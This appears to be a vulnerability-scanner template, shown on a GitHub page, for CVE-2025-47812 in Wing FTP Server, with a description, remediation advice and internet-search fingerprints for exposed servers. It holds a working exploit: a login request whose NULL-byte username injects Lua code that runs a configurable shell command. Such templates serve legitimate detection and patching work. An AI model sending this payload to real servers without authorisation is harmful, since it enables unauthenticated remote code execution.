-
Notifications
You must be signed in to change notification settings - Fork 3.6k
Expand file tree
/
Copy pathCVE-2025-47812.yaml
More file actions
65 lines (59 loc) · 2.53 KB
/
Copy pathCVE-2025-47812.yaml
File metadata and controls
65 lines (59 loc) · 2.53 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
id: CVE-2025-47812
info:
name: Wing FTP Server <= 7.4.3 - Remote Code Execution
author: rcesecurity,4m3rr0r
severity: critical
description: |
Wing FTP Server versions prior to 7.4.4 are vulnerable to an unauthenticated remote code execution (RCE) flaw (CVE-2025-47812).
The vulnerability arises from improper NULL byte handling in the 'username' parameter during login, which allows Lua code injection
into session files. These injected session files are executed when accessing authenticated endpoints such as /dir.html, resulting
in arbitrary command execution with elevated privileges. This attack is possible only when anonymous login is enabled on the server.
impact: |
Unauthenticated attackers can inject and execute Lua code through NULL byte handling in the username parameter when anonymous login is enabled, achieving remote code execution with elevated privileges.
remediation: |
Upgrade Wing FTP Server to version 7.4.4 or later that properly handles NULL bytes in authentication parameters.
reference:
- https://www.rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812/
- https://github.com/4m3rr0r/CVE-2025-47812-poc
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-47812
epss-score: 0.95343
epss-percentile: 0.99858
metadata:
verified: true
product: wftpserver
vendor: wing_ftp_server
shodan-query:
- http.html_hash:2121146066
- http.favicon.hash:963565804
- title:"Wing FTP Server"
- "Server: Wing FTP Server"
fofa-query:
- icon_hash="963565804"
- title="Wing FTP Server"
- "Server: Wing FTP Server"
zoomeye-query:
- app="Wing FTP Server"
tags: cve,cve2025,rce,wingftp,ftp,unauth,kev,vkev,vuln
variables:
cmd: "echo CVE-2025-47812"
http:
- raw:
- |
POST /loginok.html HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username=anonymous%00]]%0dlocal+h+%3d+io.popen("{{cmd}}")%0dlocal+r+%3d+h%3aread("*a")%0dh%3aclose()%0dprint(r)%0d--&password=
- raw:
- |
GET /dir.html HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(to_lower(body), "cve-2025-47812")'
condition: and
# digest: 4a0a0047304502204d5c142b9e40a694337b3c74bc1f5f83f8145d89e19ca6c0bd965072d1030745022100db614f214e87b00dff493ad8c018e5cea4c01164bd1e03f381e418186ee867dc:922c64590222798bb761d5b6d8e72950